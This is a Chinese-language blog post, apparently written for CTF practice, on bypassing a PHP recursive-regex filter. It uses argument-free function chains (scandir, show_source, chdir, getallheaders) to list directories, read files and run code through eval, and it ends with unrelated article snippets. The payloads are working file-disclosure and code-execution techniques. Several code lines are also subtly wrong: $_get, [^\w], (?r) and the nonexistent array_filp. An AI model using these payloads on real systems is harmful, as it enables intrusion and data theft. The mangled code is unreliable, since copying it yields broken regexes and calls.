php遞迴匹配以及無引數檔案讀取

2021-10-10 01:14:44 字數 2499 閱讀 9244

1.

php正則匹配-遞迴匹配

例如:preg_replace('/[^\w]+\((?r)?\)/', '', $_get['code'])

其中[^\w]+ 表示任意的字元和數字以及下劃線,匹配1次或者多次

然後是匹配 "(" 一次

然後是(?r)? 表示遞迴匹配 也就是表示當前的正則匹配pattern這整個式子,(?r)代表的是整個式子,而最後乙個?表示的是給予這個遞迴乙個終止訊號,因為?可以表示0次或者1次,所以同樣可以用*來代替。當然這裡?以及*可能出現遞迴棧的不同。

綜上所述:該正則可以匹配的內容為:a(b(c()))或者a(),也就是只能含有括號的內容

2.該方法也就是無引數函式進行檔案讀取或者命令執行(參考自freebuff.com----合天智匯)

①檢視當前目錄檔名

使用print_r(scandir('.')),那麼如何構造".",有如下幾種方案

一、localeconv()函式

該函式可以返回包含本地數字及貨幣格式資訊的陣列,而所有陣列中第一項就是「.」,第二項是「..」

二、current() 或者pos()函式

這兩者函式互為別稱,這個函式的作用是返回陣列中的單元,預設取第乙個值

三、reset()函式

該函式返回陣列的第乙個單元的值,如果陣列為空則返回false

四、chr(46)

可以構造chr(current(localtime(time())));

五、利用三角函式以及可能出現的數字

phpversion()

phpversion()返回php版本,如5.5.9

floor(phpversion())返回 5

sqrt(floor(phpversion()))返回2.2360679774998

tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615

cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491

sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156

ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46

即chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回"."

六、可以利用getcwd()或者realpath('.')來獲得當前絕對路徑

即print_r(scandir(getcwd()))

所以可以根據如上函式構造讀取當前目錄內容:

即print_r(scandir(current(localeconv())));

②讀取當前目錄下檔案內容:

current()-返回陣列中當前單元

each()----返回陣列中當前的鍵/值對並將陣列指標向前移動一步

end()-----將陣列的內部指標指向最後乙個單元

next()-----將陣列中的內部指標向前移動一位

prev()-----將陣列的內部指標倒回一位

所以就可以根據這些來讀取檔案內容了:

如果是獲取陣列的最後乙個,可以採用show_source(end(scandir(getcwd())));或者是用readfile,highlight_file、file_get_contents、readgzfile

③array_reverse()函式

該函式以相反的元素順序返回陣列,如果排在最後一位那麼使用了該函式之後便可以使用current函式來直接讀取內容,同理如果是倒數第二個可以採用倒序然後再next來讀取檔案內容

即show_source(next(array_reverse(scandir(getcwd()))));

④如果不是倒數第一或者倒數第二,即陣列內容較大的話,可以採用array_rand(array_filp)

其中array_file()是交換陣列的鍵值對,array_rand()是隨機選擇乙個返回

即採用show_source(array_rand(array_filp(scandir(getcwd()))));來憑運氣

⑤dirname()函式

返回路徑中的目錄部分

⑥當我們需要在上一級目錄讀取檔案的時候需要用到chdir()函式

該函式的作用是改變工作目錄

即show_source(array_rand(array_filp(scandir(dirname(chdir(dirname(getcwd())))))))

⑦無引數命令執行

可以在headers輸入乙個引數,然後利用getallheaders()或者apache_request_headers()獲取頭部header

然後利用?eval(pos(getallheaders()));add:phpinfo()來進行命令的執行,首先要確定這個add排在headers的第一位

同理,可以用get_defined_vars()來獲取php中的變數

PHP正則之遞迴匹配

正則是否能處理括號配對的正則匹配.比如,對於如下的待匹配的字串 就是乙個括號配對的字串.而對於如下的待匹配字串 則不是乙個括號配對的字串.在以前,這種情況,正則無法處理,最多只能處理固定層數的遞迴,而無法處理無線遞迴的情況 而在perl 5.6以後,引入了乙個新的特性 recursive patte...

php目錄函式操作,以及使用遞迴

找到對應的目錄 將目錄中所有檔案全部讀入到記憶體 包含子資料夾下的所有檔案 將目錄指標指向第乙個檔案 讀取當前指標所指向的檔案的檔名 2.將目錄指標向下移動一位 改變當前操作目錄,代表進入到目標目錄 masterdir c program files function openmydirs mast...

PHP遞迴刪除乙個資料夾以及裡面的所有檔案

刪除乙個資料夾以及裡面的所有檔案 param string array path 需要刪除的資料夾路徑,可以用乙個陣列儲存多個路徑 param boolean deldir 是否需要刪除資料夾 return boolean 是否刪除成功 function deldirandfile path del...